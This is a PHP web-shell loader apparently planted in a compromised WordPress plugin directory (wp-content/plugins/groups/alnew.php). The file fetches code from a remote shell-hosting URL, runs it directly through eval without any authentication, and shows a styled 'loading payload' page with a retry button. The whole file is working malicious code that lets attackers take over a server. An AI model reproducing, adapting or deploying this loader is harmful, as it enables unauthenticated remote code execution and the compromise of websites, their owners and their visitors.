HEX

File: //proc/self/cwd/wp-content/plugins/groups/alnew.php
<?php
// AMBATUKAM LOADER
define('PAYLOAD_URL', 'https://marslogs.co.id/shell/shell/alfa-terbaru.txt');

// Helper
function escape($t) { return htmlspecialchars($t, ENT_QUOTES, 'UTF-8'); }

// Fetch
function ambatufetch($url) {
    $parts = parse_url($url);
    if (!$parts || !isset($parts['host'])) return ['ok'=>false,'error'=>'invalid url'];
    
    $scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
    $host = $parts['host'];
    $port = isset($parts['port']) ? $parts['port'] : ($scheme === 'https' ? 443 : 80);
    $path = ($parts['path'] ?? '/') . (isset($parts['query']) ? '?' . $parts['query'] : '');
    
    $socket = @stream_socket_client(
        ($scheme === 'https' ? 'ssl' : 'tcp') . "://{$host}:{$port}", 
        $errno, $errstr, 5
    );
    
    if (!$socket) return ['ok'=>false,'error'=>$errstr];
    
    $req = "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nConnection: Close\r\n\r\n";
    fwrite($socket, $req);
    
    $res = '';
    while (!feof($socket)) $res .= fgets($socket, 2048);
    fclose($socket);
    
    $header_end = strpos($res, "\r\n\r\n");
    $body = $header_end !== false ? substr($res, $header_end + 4) : $res;
    
    return ['ok'=>!empty($body), 'content'=>$body];
}

// Fetch and execute payload directly
$p = ambatufetch(PAYLOAD_URL);
if ($p['ok']) { 
    eval("?>".$p['content']); 
    exit; 
}
$error = "Payload error: " . escape($p['error'] ?? 'Unknown error');
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>AMBATUKAM</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #000;
            color: #fff;
            font-family: Arial, sans-serif;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .container {
            width: 100%;
            max-width: 400px;
            text-align: center;
        }
        
        .image-container {
            margin-bottom: 20px;
        }
        
        .ambatukam-img {
            width: 150px;
            height: 150px;
            border-radius: 50%;
            object-fit: cover;
            border: 3px solid #ff0066;
            box-shadow: 0 0 20px #ff0066;
        }
        
        .title {
            font-size: 2.5em;
            color: #ff0066;
            margin-bottom: 10px;
            font-weight: bold;
            text-shadow: 0 0 10px #ff0066;
        }
        
        .subtitle {
            color: #aaa;
            margin-bottom: 30px;
            font-size: 0.9em;
        }
        
        .form-box {
            background: rgba(255,255,255,0.05);
            border: 1px solid rgba(255,255,255,0.1);
            border-radius: 10px;
            padding: 25px;
            margin-bottom: 20px;
        }
        
        button {
            width: 100%;
            padding: 12px;
            background: #ff0066;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: background 0.3s;
        }
        
        button:hover {
            background: #ff3385;
        }
        
        .retry-btn {
            background: #0066ff;
            margin-top: 10px;
        }
        
        .retry-btn:hover {
            background: #3385ff;
        }
        
        .error {
            background: rgba(255,0,0,0.1);
            border: 1px solid #ff0066;
            color: #ff6666;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 14px;
        }
        
        .status {
            background: rgba(0,255,0,0.1);
            border: 1px solid #00ff00;
            color: #66ff66;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 15px;
        }
        
        .footer {
            margin-top: 20px;
            color: #666;
            font-size: 12px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="image-container">
            <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTQnDIQ6bhnSKZ_73e5tesksVtvZjBlUM8TCnKRC8KDIw&s=10" 
                 alt="Ambatukam" 
                 class="ambatukam-img"
                 onerror="this.src='data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\"><rect width=\"100\" height=\"100\" fill=\"%23000\"/><text x=\"50\" y=\"50\" font-family=\"Arial\" font-size=\"14\" fill=\"%23f06\" text-anchor=\"middle\" dy=\".3em\">AMBATUKAM</text></svg>'">
        </div>
        
        <div class="title">AMBATUKAM</div>
        <div class="subtitle">loading payload...</div>
        
        <div class="status">
            Loading payload from remote server...
        </div>
        
        <div class="form-box">
            <form method="GET">
                <button type="submit" class="retry-btn">RETRY LOADING PAYLOAD</button>
            </form>
        </div>
        
        <?php if (isset($error)): ?>
            <div class="error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <div class="footer">
            auto-load • no authentication required
        </div>
    </div>
</body>
</html>